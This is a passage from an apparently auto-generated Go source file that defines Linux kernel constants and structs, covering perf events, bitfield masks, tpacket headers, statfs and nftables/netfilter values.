CBitFieldMaskBit11\n\tPerfBitEnableOnExec = CBitFieldMaskBit12\n\tPerfBitTask = CBitFieldMaskBit13\n\tPerfBitWatermark = CBitFieldMaskBit14\n\tPerfBitPreciseIPBit1 = CBitFieldMaskBit15\n\tPerfBitPreciseIPBit2 = CBitFieldMaskBit16\n\tPerfBitMmapData = CBitFieldMaskBit17\n\tPerfBitSampleIDAll = CBitFieldMaskBit18\n\tPerfBitExcludeHost = CBitFieldMaskBit19\n\tPerfBitExcludeGuest = CBitFieldMaskBit20\n\tPerfBitExcludeCallchainKernel = CBitFieldMaskBit21\n\tPerfBitExcludeCallchainUser = CBitFieldMaskBit22\n\tPerfBitMmap2 = CBitFieldMaskBit23\n\tPerfBitCommExec = CBitFieldMaskBit24\n\tPerfBitUseClockID = CBitFieldMaskBit25\n\tPerfBitContextSwitch = CBitFieldMaskBit26\n)\n\nconst (\n\tPERF_TYPE_HARDWARE = 0x0\n\tPERF_TYPE_SOFTWARE = 0x1\n\tPERF_TYPE_TRACEPOINT = 0x2\n\tPERF_TYPE_HW_CACHE = 0x3\n\tPERF_TYPE_RAW = 0x4\n\tPERF_TYPE_BREAKPOINT = 0x5\n\n\tPERF_COUNT_HW_CPU_CYCLES = 0x0\n\tPERF_COUNT_HW_INSTRUCTIONS = 0x1\n\tPERF_COUNT_HW_CACHE_REFERENCES = 0x2\n\tPERF_COUNT_HW_CACHE_MISSES = 0x3\n\tPERF_COUNT_HW_BRANCH_INSTRUCTIONS = 0x4\n\tPERF_COUNT_HW_BRANCH_MISSES = 0x5\n\tPERF_COUNT_HW_BUS_CYCLES = 0x6\n\tPERF_COUNT_HW_STALLED_CYCLES_FRONTEND = 0x7\n\tPERF_COUNT_HW_STALLED_CYCLES_BACKEND = 0x8\n\tPERF_COUNT_HW_REF_CPU_CYCLES = 0x9\n\n\tPERF_COUNT_HW_CACHE_L1D = 0x0\n\tPERF_COUNT_HW_CACHE_L1I = 0x1\n\tPERF_COUNT_HW_CACHE_LL = 0x2\n\tPERF_COUNT_HW_CACHE_DTLB = 0x3\n\tPERF_COUNT_HW_CACHE_ITLB = 0x4\n\tPERF_COUNT_HW_CACHE_BPU = 0x5\n\tPERF_COUNT_HW_CACHE_NODE = 0x6\n\n\tPERF_COUNT_HW_CACHE_OP_READ = 0x0\n\tPERF_COUNT_HW_CACHE_OP_WRITE = 0x1\n\tPERF_COUNT_HW_CACHE_OP_PREFETCH = 0x2\n\n\tPERF_COUNT_HW_CACHE_RESULT_ACCESS = 0x0\n\tPERF_COUNT_HW_CACHE_RESULT_MISS = 0x1\n\n\tPERF_COUNT_SW_CPU_CLOCK = 0x0\n\tPERF_COUNT_SW_TASK_CLOCK = 0x1\n\tPERF_COUNT_SW_PAGE_FAULTS = 0x2\n\tPERF_COUNT_SW_CONTEXT_SWITCHES = 0x3\n\tPERF_COUNT_SW_CPU_MIGRATIONS = 0x4\n\tPERF_COUNT_SW_PAGE_FAULTS_MIN = 0x5\n\tPERF_COUNT_SW_PAGE_FAULTS_MAJ = 0x6\n\tPERF_COUNT_SW_ALIGNMENT_FAULTS = 0x7\n\tPERF_COUNT_SW_EMULATION_FAULTS = 0x8\n\tPERF_COUNT_SW_DUMMY = 0x9\n\n\tPERF_SAMPLE_IP = 0x1\n\tPERF_SAMPLE_TID = 0x2\n\tPERF_SAMPLE_TIME = 0x4\n\tPERF_SAMPLE_ADDR = 0x8\n\tPERF_SAMPLE_READ = 0x10\n\tPERF_SAMPLE_CALLCHAIN = 0x20\n\tPERF_SAMPLE_ID = 0x40\n\tPERF_SAMPLE_CPU = 0x80\n\tPERF_SAMPLE_PERIOD = 0x100\n\tPERF_SAMPLE_STREAM_ID = 0x200\n\tPERF_SAMPLE_RAW = 0x400\n\tPERF_SAMPLE_BRANCH_STACK = 0x800\n\n\tPERF_SAMPLE_BRANCH_USER = 0x1\n\tPERF_SAMPLE_BRANCH_KERNEL = 0x2\n\tPERF_SAMPLE_BRANCH_HV = 0x4\n\tPERF_SAMPLE_BRANCH_ANY = 0x8\n\tPERF_SAMPLE_BRANCH_ANY_CALL = 0x10\n\tPERF_SAMPLE_BRANCH_ANY_RETURN = 0x20\n\tPERF_SAMPLE_BRANCH_IND_CALL = 0x40\n\n\tPERF_FORMAT_TOTAL_TIME_ENABLED = 0x1\n\tPERF_FORMAT_TOTAL_TIME_RUNNING = 0x2\n\tPERF_FORMAT_ID = 0x4\n\tPERF_FORMAT_GROUP = 0x8\n\n\tPERF_RECORD_MMAP = 0x1\n\tPERF_RECORD_LOST = 0x2\n\tPERF_RECORD_COMM = 0x3\n\tPERF_RECORD_EXIT = 0x4\n\tPERF_RECORD_THROTTLE = 0x5\n\tPERF_RECORD_UNTHROTTLE = 0x6\n\tPERF_RECORD_FORK = 0x7\n\tPERF_RECORD_READ = 0x8\n\tPERF_RECORD_SAMPLE = 0x9\n\n\tPERF_CONTEXT_HV = -0x20\n\tPERF_CONTEXT_KERNEL = -0x80\n\tPERF_CONTEXT_USER = -0x200\n\n\tPERF_CONTEXT_GUEST = -0x800\n\tPERF_CONTEXT_GUEST_KERNEL = -0x880\n\tPERF_CONTEXT_GUEST_USER = -0xa00\n\n\tPERF_FLAG_FD_NO_GROUP = 0x1\n\tPERF_FLAG_FD_OUTPUT = 0x2\n\tPERF_FLAG_PID_CGROUP = 0x4\n)\n\nconst (\n\tCBitFieldMaskBit0 = 0x1\n\tCBitFieldMaskBit1 = 0x2\n\tCBitFieldMaskBit2 = 0x4\n\tCBitFieldMaskBit3 = 0x8\n\tCBitFieldMaskBit4 = 0x10\n\tCBitFieldMaskBit5 = 0x20\n\tCBitFieldMaskBit6 = 0x40\n\tCBitFieldMaskBit7 = 0x80\n\tCBitFieldMaskBit8 = 0x100\n\tCBitFieldMaskBit9 = 0x200\n\tCBitFieldMaskBit10 = 0x400\n\tCBitFieldMaskBit11 = 0x800\n\tCBitFieldMaskBit12 = 0x1000\n\tCBitFieldMaskBit13 = 0x2000\n\tCBitFieldMaskBit14 = 0x4000\n\tCBitFieldMaskBit15 = 0x8000\n\tCBitFieldMaskBit16 = 0x10000\n\tCBitFieldMaskBit17 = 0x20000\n\tCBitFieldMaskBit18 = 0x40000\n\tCBitFieldMaskBit19 = 0x80000\n\tCBitFieldMaskBit20 = 0x100000\n\tCBitFieldMaskBit21 = 0x200000\n\tCBitFieldMaskBit22 = 0x400000\n\tCBitFieldMaskBit23 = 0x800000\n\tCBitFieldMaskBit24 = 0x1000000\n\tCBitFieldMaskBit25 = 0x2000000\n\tCBitFieldMaskBit26 = 0x4000000\n\tCBitFieldMaskBit27 = 0x8000000\n\tCBitFieldMaskBit28 = 0x10000000\n\tCBitFieldMaskBit29 = 0x20000000\n\tCBitFieldMaskBit30 = 0x40000000\n\tCBitFieldMaskBit31 = 0x80000000\n\tCBitFieldMaskBit32 = 0x100000000\n\tCBitFieldMaskBit33 = 0x200000000\n\tCBitFieldMaskBit34 = 0x400000000\n\tCBitFieldMaskBit35 = 0x800000000\n\tCBitFieldMaskBit36 = 0x1000000000\n\tCBitFieldMaskBit37 = 0x2000000000\n\tCBitFieldMaskBit38 = 0x4000000000\n\tCBitFieldMaskBit39 = 0x8000000000\n\tCBitFieldMaskBit40 = 0x10000000000\n\tCBitFieldMaskBit41 = 0x20000000000\n\tCBitFieldMaskBit42 = 0x40000000000\n\tCBitFieldMaskBit43 = 0x80000000000\n\tCBitFieldMaskBit44 = 0x100000000000\n\tCBitFieldMaskBit45 = 0x200000000000\n\tCBitFieldMaskBit46 = 0x400000000000\n\tCBitFieldMaskBit47 = 0x800000000000\n\tCBitFieldMaskBit48 = 0x1000000000000\n\tCBitFieldMaskBit49 = 0x2000000000000\n\tCBitFieldMaskBit50 = 0x4000000000000\n\tCBitFieldMaskBit51 = 0x8000000000000\n\tCBitFieldMaskBit52 = 0x10000000000000\n\tCBitFieldMaskBit53 = 0x20000000000000\n\tCBitFieldMaskBit54 = 0x40000000000000\n\tCBitFieldMaskBit55 = 0x80000000000000\n\tCBitFieldMaskBit56 = 0x100000000000000\n\tCBitFieldMaskBit57 = 0x200000000000000\n\tCBitFieldMaskBit58 = 0x400000000000000\n\tCBitFieldMaskBit59 = 0x800000000000000\n\tCBitFieldMaskBit60 = 0x1000000000000000\n\tCBitFieldMaskBit61 = 0x2000000000000000\n\tCBitFieldMaskBit62 = 0x4000000000000000\n\tCBitFieldMaskBit63 = 0x8000000000000000\n)\n\ntype SockaddrStorage struct {\n\tFamily uint16\n\t_ [118]int8\n\t_ uint64\n}\n\ntype TCPMD5Sig struct {\n\tAddr SockaddrStorage\n\tFlags uint8\n\tPrefixlen uint8\n\tKeylen uint16\n\t_ uint32\n\tKey [80]uint8\n}\n\ntype HDDriveCmdHdr struct {\n\tCommand uint8\n\tNumber uint8\n\tFeature uint8\n\tCount uint8\n}\n\ntype HDGeometry struct {\n\tHeads uint8\n\tSectors uint8\n\tCylinders uint16\n\t_ [4]byte\n\tStart uint64\n}\n\ntype HDDriveID struct {\n\tConfig uint16\n\tCyls uint16\n\tReserved2 uint16\n\tHeads uint16\n\tTrack_bytes uint16\n\tSector_bytes uint16\n\tSectors uint16\n\tVendor0 uint16\n\tVendor1 uint16\n\tVendor2 uint16\n\tSerial_no [20]uint8\n\tBuf_type uint16\n\tBuf_size uint16\n\tEcc_bytes uint16\n\tFw_rev [8]uint8\n\tModel [40]uint8\n\tMax_multsect uint8\n\tVendor3 uint8\n\tDword_io uint16\n\tVendor4 uint8\n\tCapability uint8\n\tReserved50 uint16\n\tVendor5 uint8\n\tTPIO uint8\n\tVendor6 uint8\n\tTDMA uint8\n\tField_valid uint16\n\tCur_cyls uint16\n\tCur_heads uint16\n\tCur_sectors uint16\n\tCur_capacity0 uint16\n\tCur_capacity1 uint16\n\tMultsect uint8\n\tMultsect_valid uint8\n\tLba_capacity uint32\n\tDma_1word uint16\n\tDma_mword uint16\n\tEide_pio_modes uint16\n\tEide_dma_min uint16\n\tEide_dma_time uint16\n\tEide_pio uint16\n\tEide_pio_iordy uint16\n\tWords69_70 [2]uint16\n\tWords71_74 [4]uint16\n\tQueue_depth uint16\n\tWords76_79 [4]uint16\n\tMajor_rev_num uint16\n\tMinor_rev_num uint16\n\tCommand_set_1 uint16\n\tCommand_set_2 uint16\n\tCfsse uint16\n\tCfs_enable_1 uint16\n\tCfs_enable_2 uint16\n\tCsf_default uint16\n\tDma_ultra uint16\n\tTrseuc uint16\n\tTrsEuc uint16\n\tCurAPMvalues uint16\n\tMprc uint16\n\tHw_config uint16\n\tAcoustic uint16\n\tMsrqs uint16\n\tSxfert uint16\n\tSal uint16\n\tSpg uint32\n\tLba_capacity_2 uint64\n\tWords104_125 [22]uint16\n\tLast_lun uint16\n\tWord127 uint16\n\tDlf uint16\n\tCsfo uint16\n\tWords130_155 [26]uint16\n\tWord156 uint16\n\tWords157_159 [3]uint16\n\tCfa_power uint16\n\tWords161_175 [15]uint16\n\tWords176_205 [30]uint16\n\tWords206_254 [49]uint16\n\tIntegrity_word uint16\n}\n\ntype Statfs_t struct {\n\tType int64\n\tBsize int64\n\tBlocks uint64\n\tBfree uint64\n\tBavail uint64\n\tFiles uint64\n\tFfree uint64\n\tFsid Fsid\n\tNamelen int64\n\tFrsize int64\n\tFlags int64\n\tSpare [4]int64\n}\n\nconst (\n\tST_MANDLOCK = 0x40\n\tST_NOATIME = 0x400\n\tST_NODEV = 0x4\n\tST_NODIRATIME = 0x800\n\tST_NOEXEC = 0x8\n\tST_NOSUID = 0x2\n\tST_RDONLY = 0x1\n\tST_RELATIME = 0x1000\n\tST_SYNCHRONOUS = 0x10\n)\n\ntype TpacketHdr struct {\n\tStatus uint64\n\tLen uint32\n\tSnaplen uint32\n\tMac uint16\n\tNet uint16\n\tSec uint32\n\tUsec uint32\n\t_ [4]byte\n}\n\ntype Tpacket2Hdr struct {\n\tStatus uint32\n\tLen uint32\n\tSnaplen uint32\n\tMac uint16\n\tNet uint16\n\tSec uint32\n\tNsec uint32\n\tVlan_tci uint16\n\tVlan_tpid uint16\n\t_ [4]uint8\n}\n\ntype Tpacket3Hdr struct {\n\tNext_offset uint32\n\tSec uint32\n\tNsec uint32\n\tSnaplen uint32\n\tLen uint32\n\tStatus uint32\n\tMac uint16\n\tNet uint16\n\tHv1 TpacketHdrVariant1\n\t_ [8]uint8\n}\n\ntype TpacketHdrVariant1 struct {\n\tRxhash uint32\n\tVlan_tci uint32\n\tVlan_tpid uint16\n\t_ uint16\n}\n\ntype TpacketBlockDesc struct {\n\tVersion uint32\n\tTo_priv uint32\n\tHdr [40]byte\n}\n\ntype TpacketReq struct {\n\tBlock_size uint32\n\tBlock_nr uint32\n\tFrame_size uint32\n\tFrame_nr uint32\n}\n\ntype TpacketReq3 struct {\n\tBlock_size uint32\n\tBlock_nr uint32\n\tFrame_size uint32\n\tFrame_nr uint32\n\tRetire_blk_tov uint32\n\tSizeof_priv uint32\n\tFeature_req_word uint32\n}\n\ntype TpacketStats struct {\n\tPackets uint32\n\tDrops uint32\n}\n\ntype TpacketStatsV3 struct {\n\tPackets uint32\n\tDrops uint32\n\tFreeze_q_cnt uint32\n}\n\ntype TpacketAuxdata struct {\n\tStatus uint32\n\tLen uint32\n\tSnaplen uint32\n\tMac uint16\n\tNet uint16\n\tVlan_tci uint16\n\tVlan_tpid uint16\n}\n\nconst (\n\tTPACKET_V1 = 0x0\n\tTPACKET_V2 = 0x1\n\tTPACKET_V3 = 0x2\n)\n\nconst (\n\tSizeofTpacketHdr = 0x20\n\tSizeofTpacket2Hdr = 0x20\n\tSizeofTpacket3Hdr = 0x30\n)\n\nconst (\n\tNF_INET_PRE_ROUTING = 0x0\n\tNF_INET_LOCAL_IN = 0x1\n\tNF_INET_FORWARD = 0x2\n\tNF_INET_LOCAL_OUT = 0x3\n\tNF_INET_POST_ROUTING = 0x4\n\tNF_INET_NUMHOOKS = 0x5\n)\n\nconst (\n\tNF_NETDEV_INGRESS = 0x0\n\tNF_NETDEV_NUMHOOKS = 0x1\n)\n\nconst (\n\tNFPROTO_UNSPEC = 0x0\n\tNFPROTO_INET = 0x1\n\tNFPROTO_IPV4 = 0x2\n\tNFPROTO_ARP = 0x3\n\tNFPROTO_NETDEV = 0x5\n\tNFPROTO_BRIDGE = 0x7\n\tNFPROTO_IPV6 = 0xa\n\tNFPROTO_DECNET = 0xc\n\tNFPROTO_NUMPROTO = 0xd\n)\n\ntype Nfgenmsg struct {\n\tNfgen_family uint8\n\tVersion uint8\n\tRes_id uint16\n}\n\nconst (\n\tNFNL_BATCH_UNSPEC = 0x0\n\tNFNL_BATCH_GENID = 0x1\n)\n\nconst (\n\tNFT_REG_VERDICT = 0x0\n\tNFT_REG_1 = 0x1\n\tNFT_REG_2 = 0x2\n\tNFT_REG_3 = 0x3\n\tNFT_REG_4 = 0x4\n\tNFT_REG32_00 = 0x8\n\tNFT_REG32_01 = 0x9\n\tNFT_REG32_02 = 0xa\n\tNFT_REG32_03 = 0xb\n\tNFT_REG32_04 = 0xc\n\tNFT_REG32_05 = 0xd\n\tNFT_REG32_06 = 0xe\n\tNFT_REG32_07 = 0xf\n\tNFT_REG32_08 = 0x10\n\tNFT_REG32_09 = 0x11\n\tNFT_REG32_10 = 0x12\n\tNFT_REG32_11 = 0x13\n\tNFT_REG32_12 = 0x14\n\tNFT_REG32_13 = 0x15\n\tNFT_REG32_14 = 0x16\n\tNFT_REG32_15 = 0x17\n\tNFT_CONTINUE = -0x1\n\tNFT_BREAK = -0x2\n\tNFT_JUMP = -0x3\n\tNFT_GOTO = -0x4\n\tNFT_RETURN = -0x5\n\tNFT_MSG_NEWTABLE = 0x0\n\tNFT_MSG_GETTABLE = 0x1\n\tNFT_MSG_DELTABLE = 0x2\n\tNFT_MSG_NEWCHAIN = 0x3\n\tNFT_MSG_GETCHAIN = 0x4\n\tNFT_MSG_DELCHAIN = 0x5\n\tNFT_MSG_NEWRULE = 0x6\n\tNFT_MSG_GETRULE = 0x7\n\tNFT_MSG_DELRULE = 0x8\n\tNFT_MSG_NEWSET = 0x9\n\tNFT_MSG_GETSET = 0xa\n\tNFT_MSG_DELSET = 0xb\n\tNFT_MSG_NEWSETELEM = 0xc\n\tNFT_MSG_GETSETELEM = 0xd\n\tNFT_MSG_DELSETELEM = 0xe\n\tNFT_MSG_NEWGEN = 0xf\n\tNFT_MSG_GETGEN = 0x10\n\tNFT_MSG_TRACE = 0x11\n\tNFT_MSG_NEWOBJ = 0x12\n\tNFT_MSG_GETOBJ = 0x13\n\tNFT_MSG_DELOBJ = 0x14\n\tNFT_MSG_GETOBJ_RESET = 0x15\n\tNFT_MSG_MAX = 0x19\n\tNFTA_LIST_UNPEC = 0x0\n\tNFTA_LIST_ELEM = 0x1\n\tNFTA_HOOK_UNSPEC = 0x0\n\tNFTA_HOOK_HOOKNUM = 0x1\n\tNFTA_HOOK_PRIORITY = 0x2\n\tNFTA_HOOK_DEV = 0x3\n\tNFT_TABLE_F_DORMANT = 0x1\n\tNFTA_TABLE_UNSPEC = 0x0\n\tNFTA_TABLE_NAME = 0x1\n\tNFTA_TABLE_FLAGS = 0x2\n\tNFTA_TABLE_USE = 0x3\n\tNFTA_CHAIN_UNSPEC = 0x0\n\tNFTA_CHAIN_TABLE = 0x1\n\tNFTA_CHAIN_HANDLE = 0x2\n\tNFTA_CHAIN_NAME = 0x3\n\tNFTA_CHAIN_HOOK = 0x4\n\tNFTA_CHAIN_POLICY = 0x5\n\tNFTA_CHAIN_USE = 0x6\n\tNFTA_CHAIN_TYPE = 0x7\n\tNFTA_CHAIN_COUNTERS = 0x8\n\tNFTA_CHAIN_PAD = 0x9\n\tNFTA_RULE_UNSPEC = 0x0\n\tNFTA_RULE_TABLE = 0x1\n\tNFTA_RULE_CHAIN = 0x2\n\tNFTA_RULE_HANDLE = 0x3\n\tNFTA_RULE_EXPRESSIONS = 0x4\n\tNFTA_RULE_COMPAT = 0x5\n\tNFTA_RULE_POSITION = 0x6\n\tNFTA_RULE_USERDATA = 0x7\n\tNFTA_RULE_PAD = 0x8\n\tNFTA_RULE_ID = 0x9\n\tNFT_RULE_COMPAT_F_INV = 0x2\n\tNFT_RULE_COMPAT_F_MASK = 0x2\n\tNFTA_RULE_COMPAT_UNSPEC = 0x0\n\tNFTA_RULE_COMPAT_PROTO = 0x1\n\tNFTA_RULE_COMPAT_FLAGS = 0x2\n\tNFT_SET_ANONYMOUS = 0x1\n\tNFT_SET_CONSTANT = 0x2\n\tNFT_SET_INTERVAL = 0x4\n\tNFT_SET_MAP = 0x8\n\tNFT_SET_TIMEOUT = 0x10\n\tNFT_SET_EVAL = 0x20\n\tNFT_SET_OBJECT = 0x40\n\tNFT_SET_POL_PERFORMANCE = 0x0\n\tNFT_SET_POL_MEMORY = 0x1\n\tNFTA_SET_DESC_UNSPEC = 0x0\n\tNFTA_SET_DESC_SIZE = 0x1\n\tNFTA_SET_UNSPEC = 0x0\n\tNFTA_SET_TABLE = 0x1\n\tNFTA_SET_NAME = 0x2\n\tNFTA_SET_FLAGS = 0x3\n\tNFTA_SET_KEY_TYPE = 0x4\n\tNFTA_SET_KEY_LEN = 0x5\n\tNFTA_SET_DATA_TYPE = 0x6\n\tNFTA_SET_DATA_LEN = 0x7\n\tNFTA_SET_POLICY = 0x8\n\tNFTA_SET_DESC = 0x9\n\tNFTA_SET_ID = 0xa\n\tNFTA_SET_TIMEOUT = 0xb\n\tNFTA_SET_GC_INTERVAL = 0xc\n\tNFTA_SET_USERDATA = 0xd\n\tNFTA_SET_PAD = 0xe\n\tNFTA_SET_OBJ_TYPE = 0xf\n\tNFT_SET_ELEM_INTERVAL_END = 0x1\n\tNFTA_SET_ELEM_UNSPEC = 0x0\n\tNFTA_SET_ELEM_KEY = 0x1\n\tNFTA_SET_ELEM_DATA = 0x2\n\tNFTA_SET_ELEM_FLAGS = 0x3\n\tNFTA_SET_ELEM_TIMEOUT = 0x4\n\tNFTA_SET_ELEM_EXPIRATION = 0x5\n\tNFTA_SET_ELEM_USERDATA = 0x6\n\tNFTA_SET_ELEM_EXPR = 0x7\n\tNFTA_SET_ELEM_PAD = 0x8\n\tNFTA_SET_ELEM_OBJREF = 0x9\n\tNFTA_SET_ELEM_LIST_UNSPEC = 0x0\n\tNFTA_SET_ELEM_LIST_TABLE = 0x1\n\tNFTA_SET_ELEM_LIST_SET = 0x2\n\tNFTA_SET_ELEM_LIST_ELEMENTS = 0x3\n\tNFTA_SET_ELEM_LIST_SET_ID = 0x4\n\tNFT_DATA_VALUE = 0x0\n\tNFT_DATA_VERDICT = 0xffffff00\n\tNFTA_DATA_UNSPEC = 0x0\n\tNFTA_DATA_VALUE = 0x1\n\tNFTA_DATA_VERDICT = 0x2\n\tNFTA_VERDICT_UNSPEC = 0x0\n\tNFTA_VERDICT_CODE = 0x1\n\tNFTA_VERDICT_CHAIN = 0x2\n\tNFTA_EXPR_UNSPEC = 0x0\n\tNFTA_EXPR_NAME = 0x1\n\tNFTA_EXPR_DATA = 0x2\n\tNFTA_IMMEDIATE_UNSPEC = 0x0\n\tNFTA_IMMEDIATE_DREG = 0x1\n\tNFTA_IMMEDIATE_DATA = 0x2\n\tNFTA_BITWISE_UNSPEC = 0x0\n\tNFTA_BITWISE_SREG = 0x1\n\tNFTA_BITWISE_DREG = 0x2\n\tNFTA_BITWISE_LEN = 0x3\n\tNFTA_BITWISE_MASK = 0x4\n\tNFTA_BITWISE_XOR = 0x5\n\tNFT_BYTEORDER_NTOH = 0x0\n\tNFT_BYTEORDER_HTON = 0x1\n\tNFTA_BYTEORDER_UNSPEC = 0x0\n\tNFTA_BYTEORDER_SREG = 0x1\n\tNFTA_BYTEORDER_DREG = 0x2\n\tNFTA_BYTEORDER_OP = 0x3\n\tNFTA_BYTEORDER_LEN = 0x4\n\tNFTA_BYTEORDER_SIZE = 0x5\n\tNFT_CMP_EQ = 0x0\n\tNFT_CMP_NEQ = 0x1\n\tNFT_CMP_LT = 0x2\n\tNFT_CMP_LTE = 0x3\n\tNFT_CMP_GT = 0x4\n\tNFT_CMP_GTE = 0x5\n\tNFTA_CMP_UNSPEC = 0x0\n\tNFTA_CMP_SREG = 0x1\n\tNFTA_CMP_OP = 0x2\n\tNFTA_CMP_DATA = 0x3\n\tNFT_RANGE_EQ = 0x0\n\tNFT_RANGE_NEQ = 0x1\n\tNFTA_RANGE_UNSPEC = 0x0\n\tNFTA_RANGE_SREG = 0x1\n\tNFTA_RANGE_OP = 0x2\n\tNFTA_RANGE_FROM_DATA = 0x3\n\tNFTA_RANGE_TO_DATA = 0x4\n\tNFT_LOOKUP_F_INV = 0x1\n\tNFTA_LOOKUP_UNSPEC = 0x0\n\tNFTA_LOOKUP_SET = 0x1\n\tNFTA_LOOKUP_SREG = 0x2\n\tNFTA_LOOKUP_DREG = 0x3\n\tNFTA_LOOKUP_SET_ID = 0x4\n\tNFTA_LOOKUP_FLAGS = 0x5\n\tNFT_DYNSET_OP_ADD = 0x0\n\tNFT_DYNSET_OP_UPDATE = 0x1\n\tNFT_DYNSET_F_INV = 0x1\n\tNFTA_DYNSET_UNSPEC = 0x0\n\tNFTA_DYNSET_SET_NAME = 0x1\n\tNFTA_DYNSET_SET_ID = 0x2\n\tNFTA_DYNSET_OP = 0x3\n\tNFTA_DYNSET_SREG_KEY = 0x4\n\tNFTA_DYNSET_SREG_DATA = 0x5\n\tNFTA_DYNSET_TIMEOUT = 0x6\n\tNFTA_DYNSET_EXPR = 0x7\n\tNFTA_DYNSET_PAD = 0x8\n\tNFTA_DYNSET_FLAGS = 0x9\n\tNFT_PAYLOAD_LL_HEADER = 0x0\n\tNFT_PAYLOAD_NETWORK_HEADER = 0x1\n\tNFT_PAYLOAD_TRANSPORT_HEADER = 0x2\n\tNFT_PAYLOAD_CSUM_NONE = 0x0\n\tNFT_PAYLOAD_CSUM_INET = 0x1\n\tNFT_PAYLOAD_L4CSUM_PSEUDOHDR = 0x1\n\tNFTA_PAYLOAD_UNSPEC = 0x0\n\tNFTA_PAYLOAD_DREG = 0x1\n\tNFTA_PAYLOAD_BASE = 0x2\n\tNFTA_PAYLOAD_OFFSET = 0x3\n\tNFTA_PAYLOAD_LEN = 0x4\n\tNFTA_PAYLOAD_SREG = 0x5\n\tNFTA_PAYLOAD_CSUM_TYPE = 0x6\n\tNFTA_PAYLOAD_CSUM_OFFSET = 0x7\n\tNFTA_PAYLOAD_CSUM_FLAGS = 0x8\n\tNFT_EXTHDR_F_PRESENT = 0x1\n\tNFT_EXTHDR_OP_IPV6 = 0x0\n\tNFT_EXTHDR_OP_TCPOPT = 0x1\n\tNFTA_EXTHDR_UNSPEC = 0x0\n\tNFTA_EXTHDR_DREG = 0x1\n\tNFTA_EXTHDR_TYPE = 0x2\n\tNFTA_EXTHDR_OFFSET = 0x3\n\tNFTA_EXTHDR_LEN = 0x4\n\tNFTA_EXTHDR_FLAGS = 0x5\n\tNFTA_EXTHDR_OP = 0x6\n\tNFTA_EXTHDR_SREG = 0x7\n\tNFT_META_LEN = 0x0\n\tNFT_META_PROTOCOL = 0x1\n\tNFT_META_PRIORITY = 0x2\n\tNFT_META_MARK = 0x3\n\tNFT_META_IIF = 0x4\n\tNFT_META_OIF = 0x5\n\tNFT_META_IIFNAME = 0x6\n\tNFT_META_OIFNAME = 0x7\n\tNFT_META_IIFTYPE = 0x8\n\tNFT_META_OIFTYPE = 0x9\n\tNFT_META_SKUID = 0xa\n\tNFT_META_SKGID = 0xb\n\tNFT_META_NFTRACE = 0xc\n\tNFT_META_RTCLASSID = 0xd\n\tNFT_META_SECMARK = 0xe\n\tNFT_META_NFPROTO = 0xf\n\tNFT_META_L4PROTO = 0x10\n\tNFT_META_BRI_IIFNAME = 0x11\n\tNFT_META_BRI_OIFNAME = 0x12\n\tNFT_META_PKTTYPE = 0x13\n\tNFT_META_CPU = 0x14\n\tNFT_META_IIFGROUP = 0x15\n\tNFT_META_OIFGROUP = 0x16\n\tNFT_META_CGROUP = 0x17\n\tNFT_META_PRANDOM = 0x18\n\tNFT_RT_CLASSID = 0x0\n\tNFT_RT_NEXTHOP4 = 0x1\n\tNFT_RT_NEXTHOP6 = 0x2\n\tNFT_RT_TCPMSS = 0x3\n\tNFT_HASH_JENKINS = 0x0\n\tNFT_HASH_SYM = 0x1\n\tNFTA_HASH_UNSPEC = 0x0\n\tNFTA_HASH_SREG = 0x1\n\tNFTA_HASH_DREG = 0x2\n\tNFTA_HASH_LEN = 0x3\n\tNFTA_HASH_MODULUS = 0x4\n\tNFTA_HASH_SEED = 0x5\n\tNFTA_HASH_OFFSET = 0x6\n\tNFTA_HASH_TYPE = 0x7\n\tNFTA_META_UNSPEC = 0x0\n\tNFTA_META_DREG = 0x1\n\tNFTA_META_KEY = 0x2\n\tNFTA_META_SREG = 0x3\n\tNFTA_RT_UNSPEC = 0x0\n\tNFTA_RT_DREG = 0x1\n\tNFTA_RT_KEY = 0x2\n\tNFT_CT_STATE = 0x0\n\tNFT_CT_DIRECTION = 0x1\n\tNFT_CT_STATUS = 0x2\n\tNFT_CT_MARK = 0x3\n\tNFT_CT_SECMARK = 0x4\n\tNFT_CT_EXPIRATION = 0x5\n\tNFT_CT_HELPER = 0x6\n\tNFT_CT_L3PROTOCOL = 0x7\n\tNFT_CT_SRC = 0x8\n\tNFT_CT_DST = 0x9\n\tNFT_CT_PROTOCOL = 0xa\n\tNFT_CT_PROTO_SRC = 0xb\n\tNFT_CT_PROTO_DST = 0xc\n\tNFT_CT_LABELS = 0xd\n\tNFT_CT_PKTS = 0xe\n\tNFT_CT_BYTES = 0xf\n\tNFT_CT_AVGPKT = 0x10\n\tNFT_CT_ZONE = 0x11\n\tNFT_CT_EVENTMASK = 0x12\n\tNFTA_CT_UNSPEC = 0x0\n\tNFTA_CT_DREG = 0x1\n\tNFTA_CT_KEY = 0x2\n\tNFTA_CT_DIRECTION = 0x3\n\tNFTA_CT_SREG = 0x4\n\tNFT_LIMIT_PKTS = 0x0\n\tNFT_LIMIT_PKT_BYTES = 0x1\n\tNFT_LIMIT_F_INV = 0x1\n\tNFTA_LIMIT_UNSPEC = 0x0\n\tNFTA_LIMIT_RATE = 0x1\n\tNFTA_LIMIT_UNIT = 0x2\n\tNFTA_LIMIT_BURST = 0x3\n\tNFTA_LIMIT_TYPE = 0x4\n\tNFTA_LIMIT_FLAGS = 0x5\n\tNFTA_LIMIT_PAD = 0x6\n\tNFTA_COUNTER_UNSPEC = 0x0\n\tNFTA_COUNTER_BYTES = 0x1\n\tNFTA_COUNTER_PACKETS = 0x2\n\tNFTA_COUNTER_PAD = 0x3\n\tNFTA_LOG_UNSPEC = 0x0\n\tNFTA_LOG_GROUP = 0x1\n\tNFTA_LOG_PREFIX = 0x2\n\tNFTA_LOG_SNAPLEN = 0x3\n\tNFTA_LOG_QTHRESHOLD = 0x4\n\tNFTA_LOG_LEVEL = 0x5\n\tNFTA_LOG_FLAGS = 0x6\n\tNFTA_QUEUE_UNSPEC = 0x0\n\tNFTA_QUEUE_NUM = 0x1\n\tNFTA_QUEUE_TOTAL = 0x2\n\tNFTA_QUEUE_FLAGS = 0x3\n\tNFTA_QUEUE_SREG_QNUM = 0x4\n\tNFT_QUOTA_F_INV = 0x1\n\tNFT_QUOTA_F_DEPLETED = 0x2\n\tNFTA_QUOTA_UNSPEC = 0x0\n\tNFTA_QUOTA_BYTES = 0x1\n\tNFTA_QUOTA_FLAGS = 0x2\n\tNFTA_QUOTA_PAD = 0x3\n\tNFTA_QUOTA_CONSUMED = 0x4\n\tNFT_REJECT_ICMP_UNREACH = 0x0\n\tNFT_REJECT_TCP_RST = 0x1\n\tNFT_REJECT_ICMPX_UNREACH = 